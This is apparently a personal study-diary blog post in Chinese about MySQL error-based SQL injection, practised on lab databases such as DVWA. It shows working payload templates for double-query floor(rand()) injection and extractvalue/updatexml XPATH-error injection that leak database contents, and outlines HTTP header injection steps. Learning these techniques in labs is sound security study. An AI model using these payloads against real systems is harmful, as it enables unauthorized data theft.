20200227 SQL注入及杂事

2020-02-27  本文已影响0人  睡觉了晚安

报错型注入

昨天学了基于时间型基于布尔型的盲注,今天整个报错型的注入

基本分为:

  1. 双查询注入

  2. 基于extractvalue/updatexml 的报错注入

双查询注入

核心函数:
floor(rand(14)*2)

分析rand()与floor()在双查询中的作用

数据库:
 +--------------------+
 | Database           |
 +--------------------+
 | information_schema |
 | challenges         |
 | dvwa               |
 | mysql              |
 | performance_schema |
 | security           |
 | test               |
 +--------------------+
 ​
 mysql> select floor(rand(14)*2) from information_schema.schemata;
 +-------------------+
 | floor(rand(14)*2) |
 +-------------------+
 |                 1 |
 |                 0 |
 |                 1 |
 |                 0 |
 |                 0 |
 |                 0 |
 |                 1 |
 +-------------------+

1.floor(rand(14)*2)) ×2可以使范围落在[0,1]内,rand(14)的前4位是1010更快报错
2.rand()函数执行的次数取决于数据库的多少,即from后面的目标

基本的句式: 这里报出的是当前数据库

 mysql> select(concat((select database()),floor(rand(14)*2)))c,count(*) from information_schema.tables group by c;
 ERROR 1062 (23000): Duplicate entry 'security0' for key 'group_key'

关于floor(rand()*2)的深究

基本原理是是在计数时count(*),临时生成了一张key-tally表,key记录每一行数据的所属,就如同下边的每一行数据中的表tables所属的库名,key不可重复,tally为计的数。

mysql> select table_schema, count(*) from information_schema.tables group by table_schema;
 +--------------------+----------+
 | table_schema       | count(*) |
 +--------------------+----------+
 | challenges         |        1 |
 | dvwa               |        2 |
 | information_schema |       40 |
 | mysql              |       24 |
 | performance_schema |       17 |
 | security           |        4 |
 | test               |        1 |
 +--------------------+----------+

但对于rand(),MySQL在处理它时会进行两次计算,第一次是在检测时,第二次是在写入时,如果两次值不同且第二次的值在key-tally表中存在,就会报错,故它的报错原理是写入了重复的键key,比如floor(rand(14)*2)生成的随机数为1010001,检测为1可以写入,但是写入时再次计算变成了0,0就被写入为key,第二次检测为1可以写入,但写入时又进行了计算变为0,若再次写入0就会重复添加了key,造成报错。

mysql> select floor(rand(14)*2) from information_schema.schemata;
 +-------------------+
 | floor(rand(14)*2) |
 +-------------------+
 |                 1 |
 |                 0 |
 |                 1 |
 |                 0 |
 |                 0 |
 |                 0 |
 |                 1 |
 +-------------------+

问题来了:

当我进行测试floor(rand(92)*2)时,按照上述原理应该会报错的,但是计算了800+次还是没有报错,我就很纳闷……希望以后的我会来看时能解决

下面是前8次计算值,最后很奇怪为什么会有下面的结果,我分析的话0应该有3个,1应该有4个

 +-------------------+
 | floor(rand(92)*2) |
 +-------------------+
 |                 0 |
 |                 1 |
 |                 1 |
 |                 1 |
 |                 0 |
 |                 0 |
 |                 0 |
 |               1 |
 +-------------------+
 mysql> select floor(rand(92)*2)c, count(*)from information_schema.schemata group by c;
 +---+----------+
 | c | count(*) |
 +---+----------+
 | 0 |        2 |
 | 1 |        5 |
 +---+----------+

基于extractvalue/updatexml的报错注入

基本原理: extractvalue/updatexml函数内有个路径参数,当这个路径参数格式写错时,会产生报错并返回该错误路径,故可以在错误的路径中添加查询语句。

基本格式:
 mysql> select extractvalue(rand(),concat(1,database()));
 ERROR 1105 (HY000): XPATH syntax error: 'security'
 ​
 mysql> select updatexml(rand(),concat(1,database()),1);
 ERROR 1105 (HY000): XPATH syntax error: 'security'</pre>

http header注入

postget都无效时,可以尝试http header注入

不同类型:

  1. User-Agent

  2. Referer

  3. Cookie

User-Agent 型

原理:修改User-Agent的值,进行SQL注入,与getpost的原理一样

  1. 抓包,拿到头部数据

  2. User-Agent进行修改

  3. 发送改后的包

工具

用后面两个插件就可以了

Referer 型

  1. 抓包,拿到头部数据

  2. User-Agent进行修改

  3. 发送改后的包

Cookie 型

原理:对Cookievalue进行SQL注入,原理类似

杂事

下午刷了一些盲注的题,尝试使用手工测试,测试了大半天才搞完一题,明天学学sqlmap

上一篇 下一篇

猜你喜欢

热点阅读